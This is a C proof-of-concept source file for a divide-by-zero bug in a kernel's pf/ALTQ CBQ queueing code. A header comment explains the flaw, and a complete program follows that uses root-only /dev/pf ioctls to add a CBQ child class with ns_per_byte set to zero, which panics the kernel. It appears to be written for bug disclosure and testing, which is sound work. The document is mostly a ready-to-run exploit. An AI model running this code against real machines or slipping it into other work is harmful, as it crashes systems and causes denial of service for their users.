/*
 * DF-0441 — CBQ rmc_newclass() / rmc_modclass() integer divide-by-zero
 *                                  when nsecPerByte == 0
 *
 * Mechanism (root-only path via /dev/pf ioctls):
 *   User-supplied struct pf_altq.pq_u.cbq_opts.ns_per_byte flows verbatim and
 *   unchecked into:
 *     altq_cbq.c:374    rmc_newclass(..., opts->ns_per_byte, ...)
 *     altq_rmclass.c:237    cl->allotment_ = RM_NS_PER_SEC / nsecPerByte;
 *   nsecPerByte == 0 -> integer divide-by-zero -> kernel panic.
 *   Same div is at altq_rmclass.c:350 in rmc_modclass().  No zero check
 *   anywhere in the path.  pfctl computes ns_per_byte from bandwidth ratios
 *   and won't produce 0, but a malicious root can issue DIOCADDALTQ directly
 *   with cbq_opts.ns_per_byte = 0 and trigger the panic.
 *
 *   Transaction model on /dev/pf:
 *       DIOCXBEGIN  rs_num=PF_RULESET_ALTQ     -> get ticket
 *       DIOCADDALTQ (qname="")                  -> cbq_add_altq (discipline)
 *       DIOCADDALTQ (qname="rootq", ROOTCLASS)  -> rmc_init (no div)
 *       DIOCADDALTQ (qname="childq", ns_per_byte=0)  -> rmc_newclass -> DIV0
 *
 * Trigger requires root: /dev/pf ioctls need root.  Privileged local DoS.
 *
 * Expected result: kernel panic "divide error", guest dies.
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>
#include <net/altq/altq_cbq.h>

#define IFNAME "vtnet0"

static int begin_altq_txn(int fd, u_int32_t *ticket)
{
    struct pfioc_trans_e te;
    memset(&te, 0, sizeof(te));
    te.rs_num = PF_RULESET_ALTQ;
    te.anchor[0] = '\0';

    struct pfioc_trans tr;
    memset(&tr, 0, sizeof(tr));
    tr.size = 1;
    tr.esize = sizeof(te);
    tr.array = &te;

    if (ioctl(fd, DIOCXBEGIN, &tr) < 0) return -1;
    *ticket = te.ticket;
    return 0;
}

static int commit_altq_txn(int fd, u_int32_t ticket)
{
    struct pfioc_trans_e te;
    memset(&te, 0, sizeof(te));
    te.rs_num = PF_RULESET_ALTQ;
    te.ticket = ticket;

    struct pfioc_trans tr;
    memset(&tr, 0, sizeof(tr));
    tr.size = 1;
    tr.esize = sizeof(te);
    tr.array = &te;

    return ioctl(fd, DIOCXCOMMIT, &tr);
}

int main(void)
{
    int fd = open("/dev/pf", O_RDWR);
    if (fd < 0) { perror("open /dev/pf (need root + pf.ko)"); return 2; }

    int rc = 0;
    u_int32_t ticket = 0;
    void *disc = NULL;
    struct pfioc_altq pa;

    /* Start pf if not already. */
    if (ioctl(fd, DIOCSTART) < 0 && errno != EEXIST) {
        fprintf(stderr, "DIOCSTART: %s\n", strerror(errno));
    }

    /* Begin altq transaction. */
    if (begin_altq_txn(fd, &ticket) < 0) {
        fprintf(stderr, "DIOCXBEGIN(ALTQ): %s\n", strerror(errno));
        rc = 1; goto out;
    }
    printf("altq ticket=%u\n", ticket);

    /* (1) Add the CBQ discipline. */
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.altq.scheduler = ALTQT_CBQ;
    pa.altq.ifbandwidth = 1000000000;
    strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname));
    if (ioctl(fd, DIOCADDALTQ, &pa) < 0) {
        fprintf(stderr, "DIOCADDALTQ(discipline): %s\n", strerror(errno));
        rc = 1; goto rollback;
    }
    printf("CBQ discipline added; altq_disc=%p\n", pa.altq.altq_disc);
    disc = pa.altq.altq_disc;

    /* (2) Add ROOT class (CBQCLF_ROOTCLASS).  Calls rmc_init -- safe. */
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.altq.scheduler = ALTQT_CBQ;
    pa.altq.ifbandwidth = 1000000000;
    pa.altq.bandwidth   = 1000000000;
    pa.altq.qid         = 1;
    pa.altq.parent_qid  = 0;
    pa.altq.priority    = 0;
    pa.altq.qlimit      = 30;
    pa.altq.altq_disc   = disc;
    pa.altq.pq_u.cbq_opts.flags        = CBQCLF_ROOTCLASS;
    pa.altq.pq_u.cbq_opts.ns_per_byte  = 1;
    strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname));
    strlcpy(pa.altq.qname,  "rootq", sizeof(pa.altq.qname));
    if (ioctl(fd, DIOCADDALTQ, &pa) < 0) {
        fprintf(stderr, "DIOCADDALTQ(root class): %s\n", strerror(errno));
        rc = 1; goto rollback;
    }
    printf("Root class added; qid=%u\n", pa.altq.qid);
    u_int32_t root_qid = pa.altq.qid;

    /* (3) Add a NON-ROOT class with ns_per_byte = 0.
     *    cbq_add_queue_locked -> rmc_newclass(pri, &ifnp, nsecPerByte=0, ...)
     *    -> altq_rmclass.c:237  cl->allotment_ = RM_NS_PER_SEC / 0  -> DIV0.
     */
    printf("\n*** ABOUT TO ADD CHILD CLASS WITH ns_per_byte=0 -- EXPECT DIV0 PANIC ***\n");
    fflush(stdout);

    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.altq.scheduler = ALTQT_CBQ;
    pa.altq.ifbandwidth = 1000000000;
    pa.altq.bandwidth   = 50000000;
    pa.altq.qid         = 2;
    pa.altq.parent_qid  = root_qid;
    pa.altq.priority    = 1;
    pa.altq.qlimit      = 30;
    pa.altq.altq_disc   = disc;
    pa.altq.pq_u.cbq_opts.flags        = 0;
    pa.altq.pq_u.cbq_opts.ns_per_byte  = 0;     /* <<<<< THE BUG */
    strlcpy(pa.altq.ifname, IFNAME, sizeof(pa.altq.ifname));
    strlcpy(pa.altq.qname,  "childq", sizeof(pa.altq.qname));
    if (ioctl(fd, DIOCADDALTQ, &pa) < 0) {
        fprintf(stderr, "DIOCADDALTQ(child ns_per_byte=0): returned %s\n",
                strerror(errno));
        fprintf(stderr, "If you see this, kernel did NOT panic -- div0 guard "
                        "held or path not reached.\n");
        rc = 1; goto rollback;
    }
    printf("UNEXPECTED: child class added without panic (qid=%u)\n", pa.altq.qid);
    rc = 0;

rollback:
    /* If we got here without panic, rollback the txn so we don't leak. */
    if (rc != 0) {
        struct pfioc_trans_e te;
        memset(&te, 0, sizeof(te));
        te.rs_num = PF_RULESET_ALTQ;
        te.ticket = ticket;
        struct pfioc_trans tr = { .size = 1, .esize = sizeof(te), .array = &te };
        ioctl(fd, DIOCXROLLBACK, &tr);
    }
out:
    close(fd);
    return rc;
}
